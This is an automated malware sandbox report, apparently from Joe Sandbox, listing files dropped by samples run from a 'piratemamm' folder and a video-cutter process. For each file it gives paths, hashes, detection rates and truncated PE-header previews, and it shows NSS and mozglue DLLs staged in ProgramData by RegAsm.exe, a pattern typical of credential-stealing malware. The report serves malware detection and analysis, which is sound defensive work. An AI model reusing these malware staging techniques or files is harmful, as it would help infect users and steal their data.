Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC0FE.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	98342
Entropy (8bit):	3.104849342291343
Encrypted:	false
SSDEEP:	3072:vgtXx0IZoQqEPR6xmA1xRvfT1NQoN1AeH6cHgGlErd:S
MD5:	7D5961F5B26089A38AC539ADE081E9C1
SHA1:	7F4FE4D0D3D2C09F1C57F28183B7F3B08F697795
SHA-256:	5AC37AD5CD7567E8EA2940A5BBE9C07533BBAC4D2C42DCF6CF631A672324091A
SHA-512:	4DAF711D7F88956BB079F9D6BFD5CF8C21773ACF2664FA66D3804BCF0775C0F0225E0784FE3C0A341ABE90A43FD88DFA815B4FC4EB9FFC6C533546B406EAEDB7
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC881.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6948271869475984
Encrypted:	false
SSDEEP:	96:TiZYW1QAUR6GYYYBhWvHlgUYEZA2YtHiXIusty6w853xCahM8Ma3QIWqX:2ZDen/sUXiPCahM8Ma3nWqX
MD5:	95BDD0EBD6CC072FBB61AA4E012B36EA
SHA1:	BB03B046D84629D6673515925D1F3F9DA6414C33
SHA-256:	4A5B7F445C276B502EAA0A4199506761C755A36BBBD0FFAC3CB536D86EB78791
SHA-512:	6BCDF8C336697E8BFDF90D9F3C5C0D95A87FA9BC4CA1038B2225A1DEB66BE0A06ADB234486A618BC17C977D070A6EFD1E04308BA8489D96EB6C85C02DFD8AEAC
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\ct829-it-45.dat

Download File

Process:	C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe
File Type:	data
Category:	dropped
Size (bytes):	8
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:RD//:l//
MD5:	012177ACC94E2F6667B2F604D5232645
SHA1:	3326BC9A43D846769851E6E702DA45F386B55EAE
SHA-256:	ED29B836D4E096FDB6316EA61732B98EBC4F0111FB80B6B23D8C62D5FDA54FE7
SHA-512:	DD248410F27B69977FD55054F7E1981335209824E781E1263892FEBDB79E4421DAEA3783A68B0E529A2522BB8F8EA803ED589A27EBD681FCF9193C8ACEC28EB7
Malicious:	false
Reputation:	unknown
Preview:	...f....

C:\ProgramData\ct829-rc-45.dat

Download File

Process:	C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:l:l
MD5:	9824A7030CE67CF3F0EFE7529F0C6ECC
SHA1:	14BAECD88CD86197979E9592A3614E57BBD01235
SHA-256:	E8A4B2EE7EDE79A3AFB332B5B6CC3D952A65FD8CFFB897F5D18016577C33D7CC
SHA-512:	8A7328404565746259EC816E24D09CCABB971C3D3630C68C51CD9DC34D9482E2515DBFE2EC5AB36119C1802E4E3761BAA375FC069846DC8D1E4E2B331F8D0B63
Malicious:	false
Reputation:	unknown
Preview:	*...

C:\ProgramData\ct829-res-a.dat

Download File

Process:	C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	128
Entropy (8bit):	2.9545817380615236
Encrypted:	false
SSDEEP:	3:SmwW3Fde9UUDrjStGs/:Smze7DPStGM
MD5:	98DDA7FC0B3E548B68DE836D333D1539
SHA1:	D0CB784FA2BBD3BDE2BA4400211C3B613638F1C6
SHA-256:	870555CDCBA1F066D893554731AE99A21AE776D41BCB680CBD6510CB9F420E3D
SHA-512:	E79BD8C2E0426DBEBA8AC2350DA66DC0413F79860611A05210905506FEF8B80A60BB7E76546B0CE9C6E6BC9DDD4BC66FF4C438548F26187EAAF6278F769B3AC1
Malicious:	false
Reputation:	unknown
Preview:	30ea4c433b26b5bea4193c311bc4a25098960f3df7dbf2a6175bf7d152ea71ca................................................................

C:\ProgramData\ct829-res-b.dat

Download File

Process:	C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	128
Entropy (8bit):	1.2701231977328944
Encrypted:	false
SSDEEP:	3:WAmJuXDz8/:HHzc
MD5:	0D6174E4525CFDED5DD1C9440B9DC1E7
SHA1:	173EF30A035CE666278904625EADCFAE09233A47
SHA-256:	458677CDF0E1A4E87D32AB67D6A5EEA9E67CB3545D79A21A0624E6BB5E1087E7
SHA-512:	86DA96385985A1BA3D67A8676A041CA563838F474DF33D82B6ECD90C101703B30747121A6B7281E025A3C11CE28ACCEDFC94DB4E8D38E391199458056C2CD27A
Malicious:	false
Reputation:	unknown
Preview:	ccddf9e705966c2f471db9..........................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\jewkkwnf\jewkkwnf.exe

Download File

Process:	C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3058688
Entropy (8bit):	7.736687471087767
Encrypted:	false
SSDEEP:	49152:0ZtPveU3miDZ7Ip3nPAo/4kDaJXupYeZ7StUoZDMT0bUW8O:AtPveU31yf3/4IQUYrt5MqUR
MD5:	D4AC1A0D0504AB9A127DEFA511DF833E
SHA1:	9254864B6917EBA6D4D4616AC2564F192626668B
SHA-256:	A29C9EBECBE58F11B98FA8F685619E46BBE0A73CA7F770A71A14051AA0BD9848
SHA-512:	59B707D1C4F3C66337EC2F913DE4B3506786A31108FC621BDBE7201490E91B0F7B70505763F71D53EEE0EAACF477DC6EF9CD50769881654DAF1B678EAAF994C5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 68%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....F....................,...........,.. ....,...@.. ....................... /...........@.................................`.,.K.....,.\...................../.......,.............................................. ............... ..H............text.....,.. ....,................. ..`.sdata........,.......,.............@....rsrc...\.....,.......,.............@..@.reloc......../.....................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\xprfjygruytr\etzpikspwykg.exe

Download File

Process:	C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	10902016
Entropy (8bit):	7.966543494488889
Encrypted:	false
SSDEEP:	196608:+Oix0DABAAtXftiAf6xz1Z5PVm6Gcj+TqnC6fOaSz/n2EgfY0gEMtw1:QOcXfC7bE9fjCfY0gg
MD5:	025EBE0A476FE1A27749E6DA0EEA724F
SHA1:	FE844380280463B927B9368F9EACE55EB97BAAB7
SHA-256:	2A51D50F42494C6AB6027DBD35F8861BDD6FE1551F5FB30BF10138619F4BC4B2
SHA-512:	5F2B40713CC4C54098DA46F390BBEB0AC2FC0C0872C7FBDFDCA26AB087C81FF0144B89347040CC93E35B5E5DD5DC102DB28737BAEA616183BEF4CAECEBFB9799
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...0..f..........#.................o..........@.......................................... ....................................................<...........@S..`*..........................................P...(....R..8............ .. ............................text............................... ..`.rdata.. ...........................@..@.data...............................@....pdata..............................@..@.00cfg..............................@..@.tls................................@....text0...:(......................... ..`.text1..X.... ......................@....text2...M...0...N..................`..h.rsrc................T..............@..@........................................................................................................................................................................................................................

C:\Users\userJJDGIIDHJE.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	196648
Entropy (8bit):	7.963093250945942
Encrypted:	false
SSDEEP:	6144:HQOkLP/rabJ2k24h3ErKsHJHOwiZ8byukEO:JcP/rFkLqrKQJEueukEO
MD5:	70567FAE269796BF407322D0A4435054
SHA1:	E11EDDF4F0CE6D5288D8187005D34EEE6EFBA046
SHA-256:	5923793C30ACF9026A872FCB8CE04A671FA194BB4F73EEF165D687AE97683047
SHA-512:	8C52339E85B8827FA25C1FB64FA47CA6DE25F40D6F66B5D426A276E93D10751537F03C41E144CA22A6C34D10A896EBD7A8070846984F783E293BF4B8B2A58617
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f................................. ........@.. .......................@......N,....`.................................X...S.......................(&... ...... ................................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B........................H.......x...............................................................R&(.,X..U.f.h..&\...=E.....%"=m?*<...U..Hf.t$......U!.B.#..:..d..E...\..J1..9.......K.lX.GRA..6\|^...o....@.&..5........:....i .Xm..Xj...._0"L.X.EO j..%..mn.EcT%.3C.))..^.:.Tn7.w..Y....`[A.ty...N....j...s.\|QT?.9..'.:.l.$.{&V..}.9..nes..[...?.wqR/_JU.8.ir_R...h..y<.<..@/......'...-U..v8.F.2z..U'..q..5,....+..GE..?@..@!........?.Yy.2.....Yq._..vd[.....D....VR.Q..<..P.[.b.#_.D.../...6.Y....

C:\Users\userKKECFIEBGC.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	328744
Entropy (8bit):	7.984051528678991
Encrypted:	false
SSDEEP:	6144:zKKOAlrAtx7WiWOdkUsn18kq1viAXMFTd7r9pq8CG6UKBqdx7EO:zKLYUtcrOs1yeFRPzbCGQYx7EO
MD5:	087F21847D13D50158683C834471728C
SHA1:	6E0CAF480014EB6239CBE757F9A75E4B5594AE69
SHA-256:	353871B38BB73FFB940B773C92849796C4C71949D5FFC9EA55103A8F41DABB74
SHA-512:	10B6BD132E219FCE9F5AE27B648305E412BBD64FBFABB1C67E99B30CE088914DB0B2D1750861362F28EE6E0FE2301B35878F22D06DE7FC3CF177A4216FBF3DB6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f................................. ........@.. .......................@............`.................................X...S.......................(&... ...... ................................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B........................H.......x...............................................................S..a.....c?.6..U.CMf'.<.s.oo..<C.q.wN.e..i...e4+...........R..1br...IUU<.N...\|c.VGH...$.&~.+....<38....tR]B.z.4-oC.{......{9...x0w.I7._.;!'q..U...?.`../.+,P.M......8..}.3j.$.Y=2...).W.].tZ.>..g2.i-.....I..[.w.....u..........h..a.3.Q....y.......=c2..n......Q.J>...=.f..w..E-`..../.....'.........g.........$.1sW...........l.....S..>.a.....g.h..zK......._oB3%.c.Z.)V.gg.._..0...;<f..

C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe

Download File

Process:	C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3058688
Entropy (8bit):	7.736687471087767
Encrypted:	false
SSDEEP:	49152:0ZtPveU3miDZ7Ip3nPAo/4kDaJXupYeZ7StUoZDMT0bUW8O:AtPveU31yf3/4IQUYrt5MqUR
MD5:	D4AC1A0D0504AB9A127DEFA511DF833E
SHA1:	9254864B6917EBA6D4D4616AC2564F192626668B
SHA-256:	A29C9EBECBE58F11B98FA8F685619E46BBE0A73CA7F770A71A14051AA0BD9848
SHA-512:	59B707D1C4F3C66337EC2F913DE4B3506786A31108FC621BDBE7201490E91B0F7B70505763F71D53EEE0EAACF477DC6EF9CD50769881654DAF1B678EAAF994C5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 68%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....F....................,...........,.. ....,...@.. ....................... /...........@.................................`.,.K.....,.\...................../.......,.............................................. ............... ..H............text.....,.. ....,................. ..`.sdata........,.......,.............@....rsrc...\.....,.......,.............@..@.reloc......../.....................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\7DyzwtKyuY4CtD_VmEPX58OX.exe.log

Download File

Process:	C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.0050635535766075
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUy:Q3La/xwQ
MD5:	84CFDB4B995B1DBF543B26B86C863ADC
SHA1:	D2F47764908BF30036CF8248B9FF5541E2711FA2
SHA-256:	D8988D672D6915B46946B28C06AD8066C50041F6152A91D37FFA5CF129CC146B
SHA-512:	485F0ED45E13F00A93762CBF15B4B8F996553BAA021152FAE5ABA051E3736BCD3CA8F4328F0E6D9E3E1F910C96C4A9AE055331123EE08E3C2CE3A99AC2E177CE
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\9AvIIxRx9oZhX7WUPPobrACv.exe.log

Download File

Process:	C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	522
Entropy (8bit):	5.358731107079437
Encrypted:	false
SSDEEP:	12:Q3La/hz92n4M9tDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:MLU84qpE4KlKDE4KhKiKhk
MD5:	93E4C46884CB6EE7CDCC4AACE78CDFAC
SHA1:	29B12D9409BA9AFE4C949F02F7D232233C0B5228
SHA-256:	2690023A62F22AB7B27B09351205BA31173B50B77ACA89A5759EDF29A1FB17F7
SHA-512:	E9C3E2FCEE4E13F7776665295A4F6085002913E011BEEF32C8E7065140937DDE1963182B547CC75110BF32AE5130A6686D5862076D5FFED9241F183B9217FA4D
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ExtreamFanV6.exe.log

Download File

Process:	C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	617
Entropy (8bit):	5.3554278163807965
Encrypted:	false
SSDEEP:	12:Q3La/hz92n4M9tDLI4MWuPTAOKbbDLI4MWuPJKAVKharkvoDLI4MWuCv:MLU84qpE4KlKDE4KhKiKhIE4Ks
MD5:	8378C2E2DA2FDD2FB813AA6E18705667
SHA1:	EFA4CF7D0E19099EB95C3BCA32F6A5D111BFFF30
SHA-256:	C12EA9B40BA290B624BB2DDAFD4CB2CDC1C05AE1F5F142899D53CF9C54DFFA06
SHA-512:	69C0E61617DFD6F843ECBA8D9328D6737BADAFB622236D3AC79E03590AFAFC5523E10D5E52AD8ACABD71EF9F4B202A654A386E1DF799CC9219CA4678145CDFDD
Malicious:	false
Reputation:	unknown
